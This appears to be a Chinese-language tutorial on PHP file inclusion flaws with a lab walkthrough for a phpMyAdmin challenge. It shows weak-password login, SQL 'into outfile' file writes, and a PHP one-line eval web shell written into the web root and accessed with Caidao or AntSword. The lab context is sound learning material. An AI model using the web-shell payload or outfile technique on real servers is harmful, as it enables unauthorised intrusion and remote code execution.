文件包含漏洞及测试

文件包含漏洞

通过发生在PHP中

很多站点为了节约资源,在代码中写入了文件包含,将文件设置为变量,用户对变量的值可控,而服务器未对变量的值合理的校检,导致了文件包含漏洞的产生。

通常使用的函数:

 

include():使用次函数包含文件时,发生错误会有警告,然后继续向下执行。

require();发生错误后,会终止运行。

可以通过文件包含来读取敏感文件等等

写入文件用 phpinfo

这里我们通过一次实验更好的理解一下文件包含漏洞:

这里我们用到的是墨者学院-phpMyAdmin后台文件包含分析溯源

文件包含漏洞及测试

打开后尝试一下弱口令登录 发现密码为root 或者使用burpsuite**一下都很容易得到密码

文件包含漏洞及测试

这里我们知道存在文件包含漏洞,如果想要测试首先写入一个phpinfo文件,命令是:select '' into outfile '/var/www/html/test.php';。接着访问test.php文件,可以看到phpinfo信息。

这里我们可以使用sql语句写入一句话拿到shell 然后通过菜刀或者蚁剑连接拿到key

select '<?   @ eval($_POST[cmd]);?> 'INTO OUTFILE "/var/www/html/8.php" 

文件包含漏洞及测试

然后我们打开菜刀连接一下:

文件包含漏洞及测试

拿到key 提交就好了

 

测试为了学习 仅供参考